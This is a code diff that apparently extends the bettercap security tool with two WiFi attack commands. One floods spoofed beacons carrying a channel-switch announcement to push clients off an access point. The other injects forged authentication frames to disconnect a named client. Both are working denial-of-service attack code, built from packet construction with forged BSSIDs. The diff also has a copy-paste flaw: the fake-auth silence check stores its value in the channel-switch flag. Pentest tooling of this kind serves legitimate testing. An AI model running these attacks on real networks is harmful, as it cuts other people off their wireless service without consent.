diff --git a/modules/wifi/wifi.go b/modules/wifi/wifi.go index bdaa2bf8..bbddb1a9 100644 --- a/modules/wifi/wifi.go +++ b/modules/wifi/wifi.go @@ -52,6 +52,8 @@ type WiFiModule struct { assocSkip []net.HardwareAddr assocSilent bool assocOpen bool + csaSilent bool + fakeAuthSilent bool filterProbeSTA *regexp.Regexp filterProbeAP *regexp.Regexp apRunning bool @@ -83,6 +85,8 @@ func NewWiFiModule(s *session.Session) *WiFiModule { assocSkip: []net.HardwareAddr{}, assocSilent: false, assocOpen: false, + csaSilent: false, + fakeAuthSilent: false, showManuf: false, shakesAggregate: true, writes: &sync.WaitGroup{}, @@ -196,6 +200,57 @@ func NewWiFiModule(s *session.Session) *WiFiModule { mod.AddHandler(deauth) + switch_channel_announce := session.NewModuleHandler("wifi.channel_switch_announce bssid channel packet_count", `wifi\.channel_switch_announce ((?:[a-fA-F0-9:]{11,}))\s+((?:[0-9]+))\s+((?:[0-9]+))`, + "Start a 802.11 channel hop attack, every client will be force to change the channel lead to dos.", + func(args []string) error { + bssid, err := net.ParseMAC(args[0]) + if err != nil { + return err + } + channel,_:=strconv.Atoi( args[1]) + if channel>180 || channel<1{ + return fmt.Errorf("%d is not a valid channel number",channel) + } + packet_count,_:=strconv.Atoi( args[2]) + if packet_count>65535{ + packet_count=65535 + } + return mod.startCSA(bssid,int8(channel),packet_count) + }) + + switch_channel_announce.Complete("wifi.channel_switch_announce", s.WiFiCompleterFull) + + mod.AddHandler(switch_channel_announce) + + + fake_auth := session.NewModuleHandler("wifi.fake_auth bssid client", `wifi\.fake_auth ((?:[a-fA-F0-9:]{11,}))\s+((?:[a-fA-F0-9:]{11,}))`, + "send an fake authentication with client mac to ap lead to client disconnect", + func(args []string) error { + bssid, err := net.ParseMAC(args[0]) + if err != nil { + return err + } + + client,err:=net.ParseMAC(args[1]) + if err!=nil{ + return err + } + return mod.startFakeAuth(bssid,client) + }) + + fake_auth.Complete("wifi.fake_auth", s.WiFiCompleterFull) + + mod.AddHandler(fake_auth) + + + mod.AddParam(session.NewBoolParameter("wifi.channel_switch_announce.silent", + "false", + "If true, messages from wifi.channel_switch_announce will be suppressed.")) + + mod.AddParam(session.NewBoolParameter("wifi.fake_auth.silent", + "false", + "If true, messages from wifi.fake_auth will be suppressed.")) + mod.AddParam(session.NewStringParameter("wifi.deauth.skip", "", "", diff --git a/modules/wifi/wifi_channel_switch_announce.go b/modules/wifi/wifi_channel_switch_announce.go new file mode 100644 index 00000000..ca8356b3 --- /dev/null +++ b/modules/wifi/wifi_channel_switch_announce.go @@ -0,0 +1,78 @@ +package wifi + +import ( + "bytes" + "fmt" + "github.com/bettercap/bettercap/network" + "github.com/bettercap/bettercap/packets" + "net" +) + +func (mod *WiFiModule) isCSASilent() bool { + if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil { + mod.Warning("%v", err) + } else { + mod.csaSilent = is + } + return mod.csaSilent +} + +func (mod *WiFiModule) sendBeaconWithCSA_Packet(ap *network.AccessPoint, to_chan int8, packet_count int) { + ssid := ap.ESSID() + if ssid == "" { + ssid = "" + } + hw, _ := net.ParseMAC(ap.BSSID()) + for seq := 0; seq < packet_count && mod.Running(); seq++ { + if err, pkt := packets.NewDot11BeaconWithCSA(uint16(seq),to_chan,ssid,hw); err != nil { + mod.Error("could not create beacon packet: %s", err) + continue + } else { + mod.injectPacket(pkt) + } + } +} + +func (mod *WiFiModule) startCSA(to net.HardwareAddr, to_chan int8, packet_count int) error { + // if not already running, temporarily enable the pcap handle + // for packet injection + if !mod.Running() { + if err := mod.Configure(); err != nil { + return err + } + defer mod.handle.Close() + } + + var ap *network.AccessPoint = nil + + for _, _ap := range mod.Session.WiFi.List() { + if bytes.Equal(_ap.HW, to) { + ap = _ap + } + + } + + if ap == nil { + return fmt.Errorf("%s is an unknown BSSID", to.String()) + } + + mod.writes.Add(1) + go func() { + defer mod.writes.Done() + + if mod.Running() { + logger := mod.Info + if mod.isCSASilent() { + logger = mod.Debug + } + logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, to_chan) + // send the beacon frame with channel switch announce element id + mod.onChannel(ap.Channel, func() { + mod.sendBeaconWithCSA_Packet(ap, to_chan, packet_count) + }) + } + + }() + + return nil +} diff --git a/modules/wifi/wifi_fake_auth.go b/modules/wifi/wifi_fake_auth.go new file mode 100644 index 00000000..22ef8c09 --- /dev/null +++ b/modules/wifi/wifi_fake_auth.go @@ -0,0 +1,75 @@ +package wifi + +import ( + "bytes" + "fmt" + "github.com/bettercap/bettercap/network" + "github.com/bettercap/bettercap/packets" + "net" +) + + +func (mod *WiFiModule) isFakeAuthSilent() bool { + if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil { + mod.Warning("%v", err) + } else { + mod.csaSilent = is + } + return mod.csaSilent +} + + +func(mod *WiFiModule)sendFakeAuthPacket(ap *network.AccessPoint,bssid,client net.HardwareAddr){ + err,pkt:=packets.NewDot11Auth(client,bssid,0) + if err!=nil{ + mod.Error("could not create authentication packet: %s", err) + return + } + for i:=0;i<20;i++{ + mod.injectPacket(pkt) + } +} + +func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error { + // if not already running, temporarily enable the pcap handle + // for packet injection + if !mod.Running() { + if err := mod.Configure(); err != nil { + return err + } + defer mod.handle.Close() + } + + var ap *network.AccessPoint = nil + + for _, _ap := range mod.Session.WiFi.List() { + if bytes.Equal(_ap.HW, bssid) { + ap = _ap + } + + } + + if ap == nil { + return fmt.Errorf("%s is an unknown BSSID", bssid.String()) + } + + mod.writes.Add(1) + go func() { + defer mod.writes.Done() + + if mod.Running() { + logger := mod.Info + if mod.isFakeAuthSilent() { + logger = mod.Debug + } + logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String()) + // send the beacon frame with channel switch announce element id + mod.onChannel(ap.Channel, func() { + mod.sendFakeAuthPacket(ap, bssid,client) + }) + } + + }() + + return nil +} \ No newline at end of file diff --git a/packets/dot11.go b/packets/dot11.go index f0b98786..075a23e0 100644 --- a/packets/dot11.go +++ b/packets/dot11.go @@ -89,6 +89,30 @@ func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) { return Serialize(stack...) } +func NewDot11BeaconWithCSA(seq uint16, channel int8, ssid string, bssid net.HardwareAddr) (error, []byte) { + return Serialize( + &layers.RadioTap{}, + &layers.Dot11{ + Address1: network.BroadcastHw, + Address2: bssid, + Address3: bssid, + SequenceNumber: seq, + FragmentNumber: 0, + Type: layers.Dot11TypeMgmtBeacon, + }, + &layers.Dot11MgmtBeacon{ + Timestamp: 0, + Interval: 0x64, + Flags: 65535, + }, + Dot11Info(layers.Dot11InformationElementIDSSID, []byte(ssid)), + Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates), + Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0,byte(channel),0}), + + ) + +} + func NewDot11Deauth(a1 net.HardwareAddr, a2 net.HardwareAddr, a3 net.HardwareAddr, seq uint16) (error, []byte) { return Serialize( &layers.RadioTap{},